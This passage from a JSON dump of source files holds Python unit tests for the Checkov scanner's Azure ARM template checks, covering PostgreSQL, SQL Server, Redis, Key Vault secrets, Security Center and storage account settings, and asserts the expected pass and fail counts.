    "path": "tests/arm/checks/resource/test_PostgreSQLServerPublicAccessDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.PostgreSQLServerPublicAccessDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPostgreSQLServerPublicAccessDisabled(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PostgreSQLServerPublicAccessDisable\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DBforPostgreSQL/servers.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.DBforPostgreSQL/servers.fail1\",\n            \"Microsoft.DBforPostgreSQL/servers.fail2\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_PostgreSQLServerSSLEnforcementEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.PostgreSQLServerSSLEnforcementEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPostgreSQLServerSSLEnforcementEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_PostgreSQLServerSSLEnforcementEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_PostgressSQLGeoBackupEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.PostgressSQLGeoBackupEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass PostgressSQLGeoBackupEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PostgressSQLGeoBackupEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.DBforPostgreSQL/servers.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.DBforPostgreSQL/servers.fail1\",\n            \"Microsoft.DBforPostgreSQL/servers.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_PubsubSKUSLA.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.checks.resource.PubsubSKUSLA import check\nfrom checkov.arm.runner import Runner\n\n\nclass TestPubsubSKUSLA(unittest.TestCase):\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PubsubSKUSLA\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.SignalRService/webPubSub.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.SignalRService/webPubSub.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_PubsubSpecifyIdentity.py",
    "content": "import unittest\nfrom pathlib import Path\nfrom checkov.arm.checks.resource.PubsubSpecifyIdentity import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestPubsubSpecifyIdentity(unittest.TestCase):\n\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_PubsubSpecifyIdentity\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.SignalRService/webPubSub.pass\",\n            \"Microsoft.SignalRService/webPubSub.pass2\"\n        }\n\n        failing_resources = {\n            \"Microsoft.SignalRService/webPubSub.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_RedisCachePublicNetworkAccessEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.RedisCachePublicNetworkAccessEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestRedisCachePublicNetworkAccessEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_RedisCachePublicNetworkAccessEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Cache/redis.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Cache/redis.fail\",\n            \"Microsoft.Cache/redis.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLDatabaseZoneRedundant.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.arm.runner import Runner\nfrom checkov.arm.checks.resource.SQLDatabaseZoneRedundant import check\n\n\nclass TestSQLDatabaseZoneRedundant (unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SQLDatabaseZoneRedundant\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'Microsoft.Sql/servers/databases.pass',\n        }\n        failing_resources = {\n            'Microsoft.Sql/servers/databases.fail',\n            'Microsoft.Sql/servers/databases.fail2',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLServerAuditingEnabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.SQLServerAuditingEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQLServerAuditingEnabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SQLServerAuditingEnabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Sql/servers.serverEnabled\",\n            \"Microsoft.Sql/servers/databases.dbEnabled\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Sql/servers.serverDefault\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLServerAuditingRetention90Days.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SQLServerAuditingRetention90Days import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQLServerAuditingRetention90Days(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQLServerAuditingRetention90Days\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLServerEmailAlertsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SQLServerEmailAlertsEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQLServerEmailAlertsEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQLServerEmailAlertsEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLServerEmailAlertsToAdminsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SQLServerEmailAlertsToAdminsEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQLServerEmailAlertsToAdminsEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQLServerEmailAlertsToAdminsEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLServerHasPublicAccessDisabled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.SQLServerHasPublicAccessDisabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQLServerHasPublicAccessDisabled(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SQLServerHasPublicAccessDisabled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Sql/servers.pass\",\n        }\n\n        failing_resources = {\n            \"Microsoft.Sql/servers.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertSetEqual(passing_resources, passed_check_resources)\n        self.assertSetEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLServerNoPublicAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SQLServerNoPublicAccess import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQLServerNoPublicAccess(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQLServerNoPublicAccess\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLServerThreatDetectionTypes.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SQLServerThreatDetectionTypes import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQLServerThreatDetectionTypes(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SQLServerThreatDetectionTypes\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SQLServerUsesADAuth.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.SQLServerUsesADAuth import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSQLServerUsesADAuth(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SQLServerUsesADAuth\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Sql/servers.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.Sql/servers.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SecretContentType.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.SecretContentType import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecretContentType(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SecretContentType\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.KeyVault/vaults/secrets.pass\",\n        }\n        failing_resources = {\n            \"Microsoft.KeyVault/vaults/secrets.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SecretExpirationDate.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SecretExpirationDate import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecretExpirationDate(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecretExpirationDate\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SecurityCenterContactEmailAlert.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SecurityCenterContactEmailAlert import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityCenterContactEmailAlert(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityCenter\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SecurityCenterContactEmailAlertAdmins.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SecurityCenterContactEmailAlertAdmins import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityCenterContactEmailAlertAdmins(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityCenter\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SecurityCenterContactPhone.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SecurityCenterContactPhone import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityCenterContactPhone(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityCenter\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SecurityCenterStandardPricing.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.SecurityCenterStandardPricing import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSecurityCenterStandardPricing(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SecurityCenter\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_SkipJsonRegexPattern.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestSkipJsonRegexPattern(unittest.TestCase):\n\n    def test_skip_all_checks(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SkipJsonRegex\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_AZURE_*:.*.json$\"])\n        )\n\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 0)\n        self.assertEqual(summary['failed'], 0)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_specific_check(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SkipJsonRegex\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_AZURE_8:.*.json$\"])\n        )\n\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 40)  # Updated expected value\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_specific_check_for_folder(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SkipJsonRegex\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_AZURE_8:/skip2.[a-z1-9]*.json$\"])\n        )\n\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 42)  # Updated expected value\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_skip_specific_check_specific_file(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SkipJsonRegex\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_AZURE_8:/.*skip1.json$\"])\n        )\n\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 42)  # Updated expected value\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n    def test_no_skip(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_SkipJsonRegex\")\n        report = runner.run(\n            root_folder=test_files_dir,\n            runner_filter=RunnerFilter(skip_checks=[\"CKV_AZURE_*:/.*skip555.json$\"])\n        )\n\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 44)  # Updated expected value\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageAccountAzureServicesAccessEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.StorageAccountAzureServicesAccessEnabled import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageAccountAzureServicesAccessEnabled(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_StorageAccountAzureServicesAccessEnabled\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageAccountDefaultNetworkAccessDeny.py",
    "content": "import os\nimport unittest\n\nfrom checkov.arm.checks.resource.StorageAccountDefaultNetworkAccessDeny import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageAccountDefaultNetworkAccessDeny(unittest.TestCase):\n\n    def test_summary(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_StorageAccountDefaultNetworkAccessDeny\"\n        report = runner.run(root_folder=test_files_dir,runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageAccountDisablePublicAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.arm.checks.resource.StorageAccountDisablePublicAccess import check\nfrom checkov.arm.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\n\n\nclass TestStorageAccountDisablePublicAccess(unittest.TestCase):\n    def test_summary(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageAccountDisablePublicAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"Microsoft.Storage/storageAccounts.default\",\n            \"Microsoft.Storage/storageAccounts.disabled\",\n        }\n        failing_resources = {\n            \"Microsoft.Storage/storageAccounts.enabled\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/arm/checks/resource/test_StorageAccountLoggingQueueServiceEnabled.py",
